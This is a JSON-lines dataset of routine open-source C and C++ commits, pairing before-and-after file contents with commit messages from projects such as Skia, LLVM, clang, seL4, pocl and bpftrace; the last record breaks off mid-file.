{"commit":"048a65bb19412639c3abdaded8ad6d3d10e4033e","old_file":"ext\/narray_ffi_c\/narray_ffi.c","new_file":"ext\/narray_ffi_c\/narray_ffi.c","old_contents":"#include \"ruby.h\"\n#include \"narray.h\"\n\nVALUE na_address(VALUE self) {\n  struct NARRAY *ary;\n  void * ptr;\n  VALUE ret;\n\n  GetNArray(self,ary);\n  ptr = ary->ptr;\n  ret = ULL2NUM( (unsigned long long int) ptr);\n  return ret;\n}\n\nvoid Init_narray_ffi_c() {\n  ID id;\n  VALUE klass;\n  id = rb_intern(\"NArray\");\n  klass = rb_const_get(rb_cObject, id);\n  rb_define_private_method(klass, \"address\", na_address, 0);\n}\n\n","new_contents":"#include \"ruby.h\"\n#include \"narray.h\"\n\nVALUE na_address(VALUE self) {\n  struct NARRAY *ary;\n  void * ptr;\n  VALUE ret;\n\n  GetNArray(self,ary);\n  ptr = ary->ptr;\n  ret = ULL2NUM( sizeof(ptr) == 4 ? (unsigned long long int) (unsigned long int) ptr : (unsigned long long int) ptr );\n  return ret;\n}\n\nvoid Init_narray_ffi_c() {\n  ID id;\n  VALUE klass;\n  id = rb_intern(\"NArray\");\n  klass = rb_const_get(rb_cObject, id);\n  rb_define_private_method(klass, \"address\", na_address, 0);\n}\n\n","subject":"Fix nasty sign propagation bug on gcc and 32 bit architectures.","message":"Fix nasty sign propagation bug on gcc and 32 bit architectures.\n","lang":"C","license":"bsd-2-clause","repos":"Nanosim-LIG\/narray-ffi,Nanosim-LIG\/narray-ffi"}
{"commit":"c1464c4787ee7dcb3fc4c0fc0622cb7f336a4fe6","old_file":"config.h","new_file":"config.h","old_contents":"\/* Uncomment to compile with tcpd\/libwrap support. *\/\n\/\/#define WITH_WRAP\n\n\/* Compile with database upgrading support? If disabled, mosquitto won't\n * automatically upgrade old database versions. *\/\n\/\/#define WITH_DB_UPGRADE\n\n\/* Compile with memory tracking support? If disabled, mosquitto won't track\n * heap memory usage nor export '$SYS\/broker\/heap\/current size', but will use\n * slightly less memory and CPU time. *\/\n#define WITH_MEMORY_TRACKING\n","new_contents":"\/* Uncomment to compile with tcpd\/libwrap support. *\/\n\/\/#define WITH_WRAP\n\n\/* Compile with database upgrading support? If disabled, mosquitto won't\n * automatically upgrade old database versions. *\/\n\/\/#define WITH_DB_UPGRADE\n\n\/* Compile with memory tracking support? If disabled, mosquitto won't track\n * heap memory usage nor export '$SYS\/broker\/heap\/current size', but will use\n * slightly less memory and CPU time. *\/\n#define WITH_MEMORY_TRACKING\n\n\/* Compile with the ability to upgrade from old style sqlite persistent\n * databases to the new mosquitto format. This means a dependency on sqlite. It\n * isn't needed for new installations. *\/\n#define WITH_SQLITE_UPGRADE\n","subject":"Add compile option for sqlite db upgrades.","message":"Add compile option for sqlite db upgrades.\n","lang":"C","license":"bsd-3-clause","repos":"tempbottle\/mosquitto,tempbottle\/mosquitto,tempbottle\/mosquitto,tempbottle\/mosquitto,tempbottle\/mosquitto"}
{"commit":"3295ea8d703c9a3f19178a38798eef5d8ee26e7c","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 91\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 92\n#endif\n","subject":"Update Skia milestone to 92","message":"Update Skia milestone to 92\n\nChange-Id: Ic8528149f531dfa78cfb994d9e6f080a4cc3139c\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/393917\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nAuto-Submit: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia"}
{"commit":"d2aa84fc27c36e3cf079d99ddb25d7c602579dc3","old_file":"config\/config_exporter.h","new_file":"config\/config_exporter.h","old_contents":"#ifndef\tCONFIG_EXPORTER_H\n#define\tCONFIG_EXPORTER_H\n\nclass ConfigClass;\nclass ConfigObject;\nclass ConfigValue;\n\nclass ConfigExporter {\nprotected:\n\tConfigExporter(void)\n\t{ }\n\t\n\t~ConfigExporter()\n\t{ }\n\npublic:\n\tvirtual void field(const ConfigValue *, const std::string&) = 0;\n\tvirtual void object(const ConfigClass *, const ConfigObject *) = 0;\n\tvirtual void value(const ConfigValue *, const std::string&) = 0;\n};\n\n#endif \/* !CONFIG_EXPORTER_H *\/\n","new_contents":"#ifndef\tCONFIG_EXPORTER_H\n#define\tCONFIG_EXPORTER_H\n\nclass ConfigClass;\nclass ConfigObject;\nclass ConfigValue;\n\nclass ConfigExporter {\nprotected:\n\tConfigExporter(void)\n\t{ }\n\t\n\tvirtual ~ConfigExporter()\n\t{ }\n\npublic:\n\tvirtual void field(const ConfigValue *, const std::string&) = 0;\n\tvirtual void object(const ConfigClass *, const ConfigObject *) = 0;\n\tvirtual void value(const ConfigValue *, const std::string&) = 0;\n};\n\n#endif \/* !CONFIG_EXPORTER_H *\/\n","subject":"Fix per Noris Datum's E-Mail.","message":"Fix per Noris Datum's E-Mail.\n\n","lang":"C","license":"bsd-2-clause","repos":"wanproxy\/wanproxy,wanproxy\/wanproxy,wanproxy\/wanproxy"}
{"commit":"fc7e89841372166b9f41f605e2102109d12a8bf7","old_file":"config.h","new_file":"config.h","old_contents":"#define SOCK_PATH \"\/var\/run\/devd.pipe\"\n#define REGEX \"subsystem=CDEV type=(CREATE|DESTROY) cdev=(da[0-9]+[a-z]+[0-9]?[a-z]?)\"\n","new_contents":"#define SOCK_PATH \"\/var\/run\/devd.pipe\"\n#define REGEX \"subsystem=CDEV type=(CREATE|DESTROY) cdev=((da|mmcsd)[0-9]+[a-z]+[0-9]?[a-z]?)\"\n","subject":"Support notifications for SD cards.","message":"Support notifications for SD cards.\n\nTweak the regular expression a bit. SD cards are using device nodes such\nas mmcsd0s1, so no notification would appear when we were looking for\nda0s1 device nodes.\n","lang":"C","license":"bsd-2-clause","repos":"funglaub\/devd-notifier"}
{"commit":"be0936b342aa7da598866dfcc826c967f90b96d1","old_file":"include\/elf.h","new_file":"include\/elf.h","old_contents":"","new_contents":"\/*-\n * Copyright (c) 1997 John D. Polstra.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * $FreeBSD$\n *\/\n\n#ifndef\t_ELF_H_\n#define\t_ELF_H_\n\n#include <sys\/types.h>\n#include <machine\/elf.h>\n\n#endif \/* !_ELF_H_ *\/\n","subject":"Add this header back, its existance is an SVR4-ELF tradition. Our ELF hints bits are still a seperate file.","message":"Add this header back, its existance is an SVR4-ELF tradition.\nOur ELF hints bits are still a seperate file.\n\nRequested by:\tjdp\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"726f5edaf516838c22f9c8e89b7abee974a84b94","old_file":"include\/arch\/x86\/arch\/types.h","new_file":"include\/arch\/x86\/arch\/types.h","old_contents":"\/*\n * Copyright 2014, General Dynamics C4 Systems\n *\n * This software may be distributed and modified according to the terms of\n * the GNU General Public License version 2. Note that NO WARRANTY is provided.\n * See \"LICENSE_GPLv2.txt\" for details.\n *\n * @TAG(GD_GPL)\n *\/\n\n#ifndef __ARCH_TYPES_H\n#define __ARCH_TYPES_H\n\n#include <assert.h>\n#include <stdint.h>\n\ncompile_assert(long_is_32bits, sizeof(unsigned long) == 4)\n\ntypedef unsigned long word_t;\ntypedef word_t vptr_t;\ntypedef word_t paddr_t;\ntypedef word_t pptr_t;\ntypedef word_t cptr_t;\ntypedef word_t dev_id_t;\ntypedef word_t cpu_id_t;\ntypedef word_t node_id_t;\ntypedef word_t dom_t;\n\n\/* for libsel4 headers that the kernel shares *\/\ntypedef word_t seL4_Word;\ntypedef cptr_t seL4_CPtr;\ntypedef uint32_t seL4_Uint32;\ntypedef uint8_t seL4_Uint8;\ntypedef node_id_t seL4_NodeId;\ntypedef paddr_t seL4_PAddr;\ntypedef dom_t seL4_Domain;\n#endif\n","new_contents":"\/*\n * Copyright 2014, General Dynamics C4 Systems\n *\n * This software may be distributed and modified according to the terms of\n * the GNU General Public License version 2. Note that NO WARRANTY is provided.\n * See \"LICENSE_GPLv2.txt\" for details.\n *\n * @TAG(GD_GPL)\n *\/\n\n#ifndef __ARCH_TYPES_H\n#define __ARCH_TYPES_H\n\n#include <config.h>\n#include <assert.h>\n#include <stdint.h>\n\n#if defined(CONFIG_ARCH_IA32)\ncompile_assert(long_is_32bits, sizeof(unsigned long) == 4)\n#elif defined(CONFIG_ARCH_X86_64)\ncompile_assert(long_is_64bits, sizeof(unsigned long) == 8)\n#endif\n\ntypedef unsigned long word_t;\ntypedef word_t vptr_t;\ntypedef word_t paddr_t;\ntypedef word_t pptr_t;\ntypedef word_t cptr_t;\ntypedef word_t dev_id_t;\ntypedef word_t cpu_id_t;\ntypedef word_t node_id_t;\ntypedef word_t dom_t;\n\n\/* for libsel4 headers that the kernel shares *\/\ntypedef word_t seL4_Word;\ntypedef cptr_t seL4_CPtr;\ntypedef uint32_t seL4_Uint32;\ntypedef uint8_t seL4_Uint8;\ntypedef node_id_t seL4_NodeId;\ntypedef paddr_t seL4_PAddr;\ntypedef dom_t seL4_Domain;\n#endif\n","subject":"Check size of unsigned long","message":"x64: Check size of unsigned long\n","lang":"C","license":"bsd-2-clause","repos":"cmr\/seL4,cmr\/seL4,cmr\/seL4"}
{"commit":"82ae93830b9bd7f2e55bf20057ed5c6ce873fe94","old_file":"AESTextEncryption\/constants.h","new_file":"AESTextEncryption\/constants.h","old_contents":"\/\/\n\/\/  constants.h\n\/\/  AESTextEncryption\n\/\/\n\/\/  Created by Evgenii Neumerzhitckii on 21\/02\/2015.\n\/\/  Copyright (c) 2015 Evgenii Neumerzhitckii. All rights reserved.\n\/\/\n\n#define aesCompactHeight 400\n\n#define aesPasswordTopMargin 11\n#define aesPasswordTopMargin_compact 4\n\n#define aesMessageTopMargin 10\n#define aesMessageTopMargin_compact 0\n\n#define aesPasswordHeightMargin 40\n#define aesPasswordHeightMargin_compact 30\n\n","new_contents":"\/\/\n\/\/  Created by Evgenii Neumerzhitckii on 21\/02\/2015.\n\/\/  Copyright (c) 2015 Evgenii Neumerzhitckii. All rights reserved.\n\/\/\n\n#define aesCompactHeight 400\n\n#define aesPasswordTopMargin 11\n#define aesPasswordTopMargin_compact 4\n\n#define aesMessageTopMargin 10\n#define aesMessageTopMargin_compact 0\n\n#define aesPasswordHeightMargin 40\n#define aesPasswordHeightMargin_compact 30\n\n","subject":"Add compact mode for phone landscape orientation","message":"Add compact mode for phone landscape orientation\n","lang":"C","license":"mit","repos":"evgenyneu\/aes-text-encryption-ios,evgenyneu\/aes-text-encryption-ios"}
{"commit":"cf3a6c448ccddcefd84cc2be5f8c8927e2e5468d","old_file":"test\/Driver\/diagnostics.c","new_file":"test\/Driver\/diagnostics.c","old_contents":"\/\/ Parse diagnostic arguments in the driver\n\/\/ PR12181\n\n\/\/ RUN: !%clang -target x86_64-apple-darwin10 \\\n\/\/ RUN:   -fsyntax-only -fzyzzybalubah \\ \n\/\/ RUN:   -Werror=unused-command-line-argument %s \n\n\/\/ RUN: !%clang -target x86_64-apple-darwin10 \\\n\/\/ RUN:   -fsyntax-only -fzyzzybalubah -Werror %s \n","new_contents":"\/\/ Parse diagnostic arguments in the driver\n\/\/ PR12181\n\n\/\/ RUN: not %clang -target x86_64-apple-darwin10 \\\n\/\/ RUN:   -fsyntax-only -fzyzzybalubah \\ \n\/\/ RUN:   -Werror=unused-command-line-argument %s \n\n\/\/ RUN: not %clang -target x86_64-apple-darwin10 \\\n\/\/ RUN:   -fsyntax-only -fzyzzybalubah -Werror %s \n","subject":"Update test case to use not tool.","message":"Update test case to use not tool.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@152664 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"16b705020c91b938660284734afd4218a826e96b","old_file":"interp.h","new_file":"interp.h","old_contents":"#include \"lorito.h\"\n\n#ifndef LORITO_INTERP_H_GUARD\n#define LORITO_INTERP_H_GUARD\n\nLorito_Ctx *\nlorito_ctx_init(Lorito_Ctx *next_ctx, Lorito_Codeseg *codeseg);\n\nLorito_Interp *\nlorito_init();\n\nint\nlorito_run(Lorito_Interp *interp);\n\n#endif \/* LORITO_INTERP_H_GUARD *\/\n","new_contents":"#include \"lorito.h\"\n\n#ifndef LORITO_INTERP_H_GUARD\n#define LORITO_INTERP_H_GUARD\n\nLorito_Ctx *\nlorito_ctx_init(Lorito_Ctx *next_ctx, Lorito_Codeseg *codeseg);\n\nLorito_PMC *\nlorito_pmc_init(Lorito_Interp *interp, int size);\n\nLorito_Interp *\nlorito_init();\n\nint\nlorito_run(Lorito_Interp *interp);\n\n#endif \/* LORITO_INTERP_H_GUARD *\/\n","subject":"Add lorito_pmc_init to the proper header.","message":"Add lorito_pmc_init to the proper header.\n","lang":"C","license":"artistic-2.0","repos":"atrodo\/lorito,atrodo\/lorito"}
{"commit":"ce0749117f31ad1052ead228acfe0ddbb431b04e","old_file":"lib\/CL\/clSetUserEventStatus.c","new_file":"lib\/CL\/clSetUserEventStatus.c","old_contents":"#include \"pocl_cl.h\"\n#include \"pocl_timing.h\"\n\nCL_API_ENTRY cl_int CL_API_CALL\nPOname(clSetUserEventStatus)(cl_event event ,\n                             cl_int   execution_status ) \nCL_API_SUFFIX__VERSION_1_1\n{\n  \/* Must be a valid user event *\/\n  POCL_RETURN_ERROR_COND((event == NULL), CL_INVALID_EVENT);\n  POCL_RETURN_ERROR_COND((event->command_type != CL_COMMAND_USER), CL_INVALID_EVENT);\n  \/* Can only be set to CL_COMPLETE (0) or negative values *\/\n  POCL_RETURN_ERROR_COND((execution_status > CL_COMPLETE), CL_INVALID_VALUE);\n  \/* Can only be done once *\/\n  POCL_RETURN_ERROR_COND((event->status <= CL_COMPLETE), CL_INVALID_OPERATION);\n\n  POCL_LOCK_OBJ (event);\n  event->status = execution_status;\n  if (execution_status == CL_COMPLETE)\n    {\n      pocl_broadcast (event);\n    }\n  POCL_UNLOCK_OBJ (event);\n  return CL_SUCCESS;\n}\nPOsym(clSetUserEventStatus)\n","new_contents":"#include \"pocl_cl.h\"\n#include \"pocl_timing.h\"\n\nCL_API_ENTRY cl_int CL_API_CALL\nPOname(clSetUserEventStatus)(cl_event event ,\n                             cl_int   execution_status ) \nCL_API_SUFFIX__VERSION_1_1\n{\n  \/* Must be a valid user event *\/\n  POCL_RETURN_ERROR_COND((event == NULL), CL_INVALID_EVENT);\n  POCL_RETURN_ERROR_COND((event->command_type != CL_COMMAND_USER), CL_INVALID_EVENT);\n  \/* Can only be set to CL_COMPLETE (0) or negative values *\/\n  POCL_RETURN_ERROR_COND((execution_status > CL_COMPLETE), CL_INVALID_VALUE);\n  \/* Can only be done once *\/\n  POCL_RETURN_ERROR_COND((event->status <= CL_COMPLETE), CL_INVALID_OPERATION);\n\n  POCL_LOCK_OBJ (event);\n  event->status = execution_status;\n  if (execution_status == CL_COMPLETE)\n    {\n      pocl_broadcast (event);\n      pocl_event_updated (event, CL_COMPLETE);\n    }\n  POCL_UNLOCK_OBJ (event);\n  return CL_SUCCESS;\n}\nPOsym(clSetUserEventStatus)\n","subject":"Make sure callbacks are called for user events","message":"Make sure callbacks are called for user events\n","lang":"C","license":"mit","repos":"pocl\/pocl,rjodin\/pocl,franz\/pocl,franz\/pocl,Oblomov\/pocl,pocl\/pocl,Oblomov\/pocl,Oblomov\/pocl,Oblomov\/pocl,franz\/pocl,Oblomov\/pocl,pocl\/pocl,pocl\/pocl,franz\/pocl,rjodin\/pocl,rjodin\/pocl,pocl\/pocl,franz\/pocl,rjodin\/pocl"}
{"commit":"f777d09f375c1206cd0cea649bd0b2c04d668bfa","old_file":"lib\/DebugInfo\/DWARFRelocMap.h","new_file":"lib\/DebugInfo\/DWARFRelocMap.h","old_contents":"\/\/===-- DWARFRelocMap.h -----------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_DEBUGINFO_DWARFRELOCMAP_H\n#define LLVM_DEBUGINFO_DWARFRELOCMAP_H\n\n#include \"llvm\/ADT\/DenseMap.h\"\n\nnamespace llvm {\n\ntypedef DenseMap<uint64_t, std::pair<uint8_t, int64_t> > RelocAddrMap;\n\n} \/\/ namespace llvm\n\n#endif \/\/ LLVM_DEBUGINFO_DWARFRELOCMAP_H","new_contents":"\/\/===-- DWARFRelocMap.h -----------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_DEBUGINFO_DWARFRELOCMAP_H\n#define LLVM_DEBUGINFO_DWARFRELOCMAP_H\n\n#include \"llvm\/ADT\/DenseMap.h\"\n\nnamespace llvm {\n\ntypedef DenseMap<uint64_t, std::pair<uint8_t, int64_t> > RelocAddrMap;\n\n} \/\/ namespace llvm\n\n#endif \/\/ LLVM_DEBUGINFO_DWARFRELOCMAP_H\n\n","subject":"Fix a warning in the new DWARFheader. Add a new line at the end of the file.","message":"Fix a warning in the new DWARFheader. Add a new line at the end of the file.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@173518 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm"}
{"commit":"48d0c9e8bcc7b2f204eff8feef3b0fe6df0cae4f","old_file":"include\/types.h","new_file":"include\/types.h","old_contents":"\/\/ Machine types\ntypedef unsigned char\t\tByte;\t   \/* 8 bits *\/\ntypedef unsigned short\t\tSWord;\t   \/* 16 bits *\/\ntypedef unsigned int\t\tDWord;\t   \/* 32 bits *\/\ntypedef unsigned int\t\tdword;\t   \/* 32 bits *\/\ntypedef unsigned int\t\tWord;\t   \/* 32 bits *\/\ntypedef unsigned int\t\tADDRESS;   \/* 32-bit unsigned *\/\n\n\n#define STD_SIZE\t32\t\t\t\/\/ Standard size\n#define NO_ADDRESS ((ADDRESS)-1)  \/\/ For invalid ADDRESSes\n\n#ifndef _MSC_VER\ntypedef long unsigned long QWord;\t\/\/ 64 bits\n#else\ntypedef unsigned __int64   QWord;\t\t\n#endif\n\n#if defined(_MSC_VER)\n#pragma warning(disable:4390)\r\n#endif\n\r\n#if defined(_MSC_VER) && _MSC_VER <= 1200\r\n\/\/ For MSVC 5 or 6: warning about debug into truncated to 255 chars\r\n#pragma warning(disable:4786)\r\n#endif\r\n","new_contents":"\/*\n * types.h: some often used basic type definitions\n * $Revision$\n *\/\n#ifndef __TYPES_H__\n#define __TYPES_H__\n\n\/\/ Machine types\ntypedef unsigned char\t\tByte;\t\t\/* 8 bits *\/\ntypedef unsigned short\t\tSWord;\t\t\/* 16 bits *\/\ntypedef unsigned int\t\tDWord;\t\t\/* 32 bits *\/\ntypedef unsigned int\t\tdword;\t\t\/* 32 bits *\/\ntypedef unsigned int\t\tWord;\t\t\/* 32 bits *\/\ntypedef unsigned int\t\tADDRESS;\t\/* 32-bit unsigned *\/\n\n\n#define STD_SIZE\t32\t\t\t\t\t\/\/ Standard size\n\/\/ Note: there is a known name collision with NO_ADDRESS in WinSock.h\n#ifdef NO_ADDRESS\n#undef NO_ADDRESS\n#endif\n#define NO_ADDRESS ((ADDRESS)-1)\t\t\/\/ For invalid ADDRESSes\n\n#ifndef _MSC_VER\ntypedef long unsigned long QWord;\t\t\/\/ 64 bits\n#else\ntypedef unsigned __int64   QWord;\t\t\n#endif\n\n#if defined(_MSC_VER)\n#pragma warning(disable:4390)\r\n#endif\n\r\n#if defined(_MSC_VER) && _MSC_VER <= 1200\r\n\/\/ For MSVC 5 or 6: warning about debug into truncated to 255 chars\r\n#pragma warning(disable:4786)\r\n#endif\r\n\r\n#endif\t\/\/ #ifndef __TYPES_H__\r\n","subject":"Handle the name collision (with WinSock.h) for NO_ADDRESS","message":"Handle the name collision (with WinSock.h) for NO_ADDRESS\n","lang":"C","license":"bsd-3-clause","repos":"TambourineReindeer\/boomerang,nemerle\/boomerang,xujun10110\/boomerang,xujun10110\/boomerang,nemerle\/boomerang,nemerle\/boomerang,TambourineReindeer\/boomerang,xujun10110\/boomerang,nemerle\/boomerang,xujun10110\/boomerang,TambourineReindeer\/boomerang,TambourineReindeer\/boomerang,xujun10110\/boomerang,nemerle\/boomerang,nemerle\/boomerang,nemerle\/boomerang,xujun10110\/boomerang,xujun10110\/boomerang,TambourineReindeer\/boomerang,TambourineReindeer\/boomerang,nemerle\/boomerang,xujun10110\/boomerang,TambourineReindeer\/boomerang,TambourineReindeer\/boomerang"}
{"commit":"3ab883a6e155fb1f6a36a4fe341abb97d15994d4","old_file":"src\/ast\/node_counter.h","new_file":"src\/ast\/node_counter.h","old_contents":"#pragma once\n#include \"bpftrace.h\"\n#include \"log.h\"\n#include \"pass_manager.h\"\n#include \"visitors.h\"\n\nnamespace bpftrace {\nnamespace ast {\n\nclass NodeCounter : public Visitor\n{\npublic:\n  void Visit(Node &node)\n  {\n    count_++;\n    Visitor::Visit(node);\n  }\n\n  size_t get_count()\n  {\n    return count_;\n  };\n\nprivate:\n  size_t count_ = 0;\n};\n\nPass CreateCounterPass()\n{\n  auto fn = [](Node &n, PassContext &ctx) {\n    NodeCounter c;\n    c.Visit(n);\n    auto node_count = c.get_count();\n    auto max = ctx.b.ast_max_nodes_;\n    if (bt_verbose)\n    {\n      LOG(INFO) << \"node count: \" << node_count;\n    }\n    if (node_count >= max)\n    {\n      LOG(ERROR) << \"node count (\" << node_count << \") exceeds the limit (\"\n                 << max << \")\";\n      return PassResult::Error(\"node count exceeded\");\n    }\n    return PassResult::Success();\n  };\n  return Pass(\"NodeCounter\", fn);\n}\n\n} \/\/ namespace ast\n} \/\/ namespace bpftrace\n","new_contents":"#pragma once\n#include \"bpftrace.h\"\n#include \"log.h\"\n#include \"pass_manager.h\"\n#include \"visitors.h\"\n\nnamespace bpftrace {\nnamespace ast {\n\nclass NodeCounter : public Visitor\n{\npublic:\n  void Visit(Node &node) override\n  {\n    count_++;\n    Visitor::Visit(node);\n  }\n\n  size_t get_count()\n  {\n    return count_;\n  };\n\nprivate:\n  size_t count_ = 0;\n};\n\nPass CreateCounterPass()\n{\n  auto fn = [](Node &n, PassContext &ctx) {\n    NodeCounter c;\n    c.Visit(n);\n    auto node_count = c.get_count();\n    auto max = ctx.b.ast_max_nodes_;\n    if (bt_verbose)\n    {\n      LOG(INFO) << \"node count: \" << node_count;\n    }\n    if (node_count >= max)\n    {\n      LOG(ERROR) << \"node count (\" << node_count << \") exceeds the limit (\"\n                 << max << \")\";\n      return PassResult::Error(\"node count exceeded\");\n    }\n    return PassResult::Success();\n  };\n  return Pass(\"NodeCounter\", fn);\n}\n\n} \/\/ namespace ast\n} \/\/ namespace bpftrace\n","subject":"Add override keyword to overridden method","message":"Add override keyword to overridden method\n","lang":"C","license":"apache-2.0","repos":"iovisor\/bpftrace,iovisor\/bpftrace,iovisor\/bpftrace,iovisor\/bpftrace"}
{"commit":"2e25cff3e7ad047f83c8f45b7430bbbfbfa8aeea","old_file":"test\/Driver\/mips-gpopt-warning.c","new_file":"test\/Driver\/mips-gpopt-warning.c","old_contents":"","new_contents":"\/\/ REQUIRES: mips-registered-target\n\/\/ RUN: %clang -### -c -target mips-mti-elf %s -mgpopt 2>&1 | FileCheck -check-prefix=IMPLICIT %s\n\/\/ IMPLICIT: warning: ignoring '-mgpopt' option as it cannot be used with the implicit usage of-mabicalls\n\n\/\/ RUN: %clang -### -c -target mips-mti-elf %s -mgpopt -mabicalls 2>&1 | FileCheck -check-prefix=EXPLICIT %s\n\/\/ EXPLICIT: warning: ignoring '-mgpopt' option as it cannot be used with -mabicalls\n","subject":"Add warning test for -mgpopt option.","message":"[mips] Add warning test for -mgpopt option.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@308432 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"b91a8ad3931b320e2c5d0b53c1481a5407d98725","old_file":"src\/lib\/str-sanitize.c","new_file":"src\/lib\/str-sanitize.c","old_contents":"\/* Copyright (c) 2004 Timo Sirainen *\/\n\n#include \"lib.h\"\n#include \"str.h\"\n#include \"str-sanitize.h\"\n\nvoid str_sanitize_append(string_t *dest, const char *src, size_t max_len)\n{\n\tconst char *p;\n\n\tfor (p = src; *p != '\\0'; p++) {\n\t\tif ((unsigned char)*p < 32)\n\t\t\tbreak;\n\t}\n\n\tstr_append_n(dest, src, (size_t)(p - src));\n\tfor (; *p != '\\0' && max_len > 0; p++, max_len--) {\n\t\tif ((unsigned char)*p < 32)\n\t\t\tstr_append_c(dest, '?');\n\t\telse\n\t\t\tstr_append_c(dest, *p);\n\t}\n\n\tif (*p != '\\0') {\n\t\tstr_truncate(dest, str_len(dest)-3);\n\t\tstr_append(dest, \"...\");\n\t}\n}\n\nconst char *str_sanitize(const char *src, size_t max_len)\n{\n\tstring_t *str;\n\n\tstr = t_str_new(I_MIN(max_len, 256));\n\tstr_sanitize_append(str, src, 